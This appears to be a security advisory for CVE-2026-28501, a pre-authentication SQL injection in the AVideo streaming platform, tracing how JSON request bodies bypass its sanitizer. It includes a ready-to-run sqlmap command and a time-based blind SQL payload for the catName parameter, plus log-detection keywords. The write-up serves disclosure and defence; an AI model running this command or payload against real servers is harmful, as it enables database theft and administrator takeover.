Overview
AVideo, an open-source video streaming platform maintained by WWBN, ships with a global sanitization routine (includeSecurityChecks()) that normalizes $_GET, $_POST, and $_REQUEST before any endpoint logic runs.
The unauthenticated objects/videos.json.php endpoint then re-populates $_REQUEST from the raw JSON request body after that pass has already finished, smuggling attacker-controlled values past the sanitizer.
Vulnerability Details
| Field | Value |
|---|---|
| CVE ID | CVE-2026-28501 |
| Severity | Critical |
| CVSS 3.1 Score | 9.8 |
| EPSS | 20.925% |
| Affected Versions | wwbn/avideo < 24.0 |
| Attack Vector | Network, HTTP POST with Content-Type: application/json |
| Authentication Required | None |
| Published | February 28, 2026 |
Technical Breakdown
The bug is not a single oversight, but an interaction between two components that are each internally consistent but incompatible at the boundary.
Global sanitization runs early
Every request to AVideo pulls in videos/configuration.php, which immediately requires the global configuration file::
// videos/configuration.php
require_once $global['systemRootPath'].'objects/include_config.php';
That file calls includeSecurityChecks(), which walks through $_GET, $_POST, and $_REQUEST and applies the project's sanitization rules to every value. At this point, any SQL metacharacters delivered through standard URL-encoded parameters are neutralized.
The endpoint re-populates $_REQUEST with raw JSON
The endpoint objects/videos.json.php is the JSON feed used by the front-end to list videos. Before serving the feed, it invokes a helper that attempts to establish a session from the request body, even for unauthenticated visitors.
// objects/videos.json.php
User::loginFromRequestIfNotLogged();
loginFromRequestIfNotLogged() unconditionally forwards into loginFromRequest(), which begins by calling inputToRequest():
// objects/user.php
public static function loginFromRequestIfNotLogged()
{
// ...
return self::loginFromRequest();
}
public static function loginFromRequest()
{
inputToRequest();
// ...
}
inputToRequest() is the actual sink-feeder. It reads php://input, JSON-decodes it, and copies every key/value pair straight into $_REQUEST:
// objects/functions.php
function inputToRequest()
{
$content = file_get_contents("php://input");
if (!empty($content)) {
$json = json_decode($content);
if (empty($json)) {
return false;
}
foreach ($json as $key => $value) {
if (!isset($_REQUEST[$key])) {
$_REQUEST[$key] = $value; // [!] raw, unsanitized
}
}
}
}
Since includeSecurityChecks() has already completed execution by the time inputToRequest() is invoked, any attacker-controlled key not previously present in $_REQUEST is introduced after the sanitization phase.
As a result, the assumption that values read from
$_REQUESTare always sanitized no longer applies to parameters delivered via JSON request bodies.
The sink concatenates the tainted value into SQL
Video::getAllVideos() delegates category filtering to Video::getCatSQL(), which reads catName straight out of $_REQUEST and concatenates it into the query string without prepared statements:
// objects/video.php
static function getCatSQL()
{
$catName = @$_REQUEST['catName'];
$sql = '';
if (!empty($catName)) {
if (!is_array($catName)) {
$catName = [$catName];
}
$sqls = [];
foreach ($catName as $value) {
if (empty($_REQUEST['doNotShowCats'])) {
$sqlText = " (c.clean_name = '{$value}' "; // [!] SQLi
if (empty($_REQUEST['doNotShowCatChilds'])) {
$sqlText .= " OR c.parentId IN (SELECT cs.id from categories cs where cs.clean_name = '{$value}' )";
}
$sqlText .= " )";
$sqls[] = $sqlText;
} else {
$sqlText = " (c.clean_name != '{$value}' )";
$sqls[] = $sqlText;
}
}
// ...
{$value}lands inside single quotes with no escaping. An attacker who can place a value into$REQUEST['catName'], which JSON smuggling now allows pre-auth, controls the SQL statement executed against the videos table's category join.
Exploitation
Confirming the injection requires a single HTTP request. The content type must be application/json so that PHP's file_get_contents("php://input") returns a body that json_decode() will accept.
sqlmap one-shot
sqlmap -u "https://[target.host]/objects/videos.json.php" \
--data '{"catName": "music"}' \
--method POST -p catName \
--dbms MySQL --technique=T \
--level 5 --risk 3 --batch --force-ssl --threads=10
sqlmap confirms a time-based blind payload from an unauthenticated perspective, without any prior session, login attempt, or credentials.
Parameter: JSON catName ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"catName": "music') AND (SELECT 5067 FROM (SELECT(SLEEP(5)))lCAk) AND ('oavw'='oavw"}
This output demonstrates an unauthenticated, time-based blind SQL injection through the
catNameJSON parameter, allowing arbitrary data extraction from the underlying MySQL database.
Impact
- Full Database Read: A single unauthenticated HTTP request reads any column of any table accessible to the AVideo database user.
- Administrator Takeover: Unsalted MD5 password hashes and live session identifiers in
users.passwordenable trivial offline cracking or direct session replay. - High Exploitation Likelihood: CVSS 9.8 with an EPSS score in the 96th percentile reflects how low-effort and reliable this attack is to carry out in practice.
Mitigation & Remediation
- Upgrade Immediately: Patch any AVideo deployment in the affected version range above to release tag 24.0, which ships the upstream fix in commit WWBN/AVideo@0c10be6. No partial workaround is published by the vendor.
- Rotate Credentials & Sessions: Reset administrator passwords and invalidate all active sessions, assume any exposed pre-24.0 instance is compromised.
- Audit Logs: Monitor for POST requests to
/objects/videos.json.phpwhosecatNamefield contains',SLEEP(,SELECT,UNION, orBENCHMARK(, or that exhibit response times far above the endpoint's normal sub-second baseline.
References
- CVE-2026-28501
- AVideo release tag 24.0
- WWBN/AVideo advisory GHSA-pv87-r9qf-x56p
- GHSA-pv87-r9qf-x56p - GitHub Security Advisory
